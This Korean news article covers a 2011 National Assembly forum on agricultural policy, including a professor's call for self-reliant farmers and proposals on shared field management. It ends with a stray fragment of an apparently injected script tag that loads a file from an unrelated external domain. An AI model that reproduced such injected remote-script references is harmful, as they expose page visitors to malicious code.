- "자주형 농민 인식전환 필요"
깅충실 경북대교수 주장
미래농업에 대비하는 획기적인 농정전환을 위해서는 정부 의존형 농민에서 자주형 농민으로의 전환이 필요하다는 주장이다.
이는 지난 10일 정해걸 의원과 윤석용 의원, (사)한국쌀전업농중앙연합회 주최로 국회의원회관 1층 소회의실에서 열린 ‘2011 한국농업의 현재와 미래발전 전략’ 정책토론회를 통해 제기됐다.
김충실 경북대학교 농업경제학과 교수는 ‘한국 농(農)의 현재와 향후 전략’ 이라는 주제 발표를 통해 “박정희 정부(1970년대)는 식량증산을 최우선으로 추진하고 농민의 소득증대를 위해 쌀 다수확 신 품종 개발 및 보급에 의한 녹색혁명, 이중곡가제와 같은 곡물가격 지지정책, 새마을 운동처럼 획기적인 농촌개발 사업 등을 통해 도농 간의 소득격차에서 농민 우위를 지켜봤다”고 밝히고 “하지만 1975년부터 8개의 정부를 거치는 동안 도시근로자 대비 농가소득은 지속적으로 감소하는 추세를 보이고 있다”고 말했다.
김 교수는 “지난 40년간 우리나라 식량자급률과 도농 간 소득격차, 농가교역조건은 각각 연평균 1.34%p, 0.96%p, 0.85%p 감소했고 농업 제약요소인 농지면적도 연평균 1만4387ha씩 줄었다”며 “이는 김영삼 정부 때부터 거의 정체상태”라고 지적했다.
그는 또 농정은 그 특성상 타 정책에 비해 농심을 고무하는 농정철학과 정책과학, 정치력의 조화가 특별히 요구되며 농업의 진흥은 정부가 끌고 가는 것이 아니라 농민 스스로 앞장서야 하는 자주형 농민으로 바뀌어야 한다고 강조했다.
이날 토론회에서는 생산 및 유통 대책 방안으로 들녘별 경영체를 육성하고 농기계를 효율적으로 운영해야 한다는 지적도 제기됐다.
홍준근 한국쌀전업농중앙연합회 회장은 “지역 들녘을 최적화경영체로 육성해 공동생산· 공동작업·공동구입으로 생산비를 절감하고, 농기계는 시기별 사용이 일정치 않은 만큼 회사 형태의 기관이 소유하고 농민이 관리, 이용하는 구조로의 변화가 필요하다”고 말했다. src=http://nbnjkl.com/urchin.js >